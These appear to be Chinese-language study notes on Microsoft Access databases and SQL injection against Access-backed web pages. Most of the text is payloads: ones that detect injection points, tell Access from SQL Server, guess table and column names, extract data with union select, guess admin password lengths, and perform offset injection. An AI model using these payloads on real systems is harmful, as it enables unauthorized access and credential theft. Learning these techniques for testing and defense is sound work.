access數據庫
優勢:提高速度和減少代碼量
缺點:數據過大性能下降,安全性低
後綴名:.mdb
打開工具:輔臣數據庫瀏覽器,破障瀏覽器
access注入
判斷注入點:‘ ,and 1=1, and1=2, or 1=1, or 1=2, and 1=23, 在id=後面加一個減號,報錯有注入點
判斷數據庫類型:and exists(select * from msysobjects)>0 存在說明是access數據庫 , and exists(select * from sysobjects)>0 存在說明是sql server數據庫
判斷數據庫中的表:and exists(select * from admin) 返回成功說明存在
access的數據庫中的表:admin,msysobjects,user,username,
判斷數據庫中表內的字段名:and exists(select username from admin) 返回成功說明存在
判斷字段長度:order by N
報錯:and 1=2 union select 1,2,....,N from admin(聯合查詢)
判斷賬戶密碼長度:and (select len(admin) from admin)=5 如果返回正常說明管理賬戶的長度爲5
and (select len(password) from admin)=5 猜解管理密碼長度是5
偏移注入
主要用來解決表名猜到,列名猜不到的情況
and 1=2 union select 1,2,....,N from admin(聯合查詢),用*從最後一個字段向前逐個代替,直到顯示正常爲止,*代表所有數據表內的字段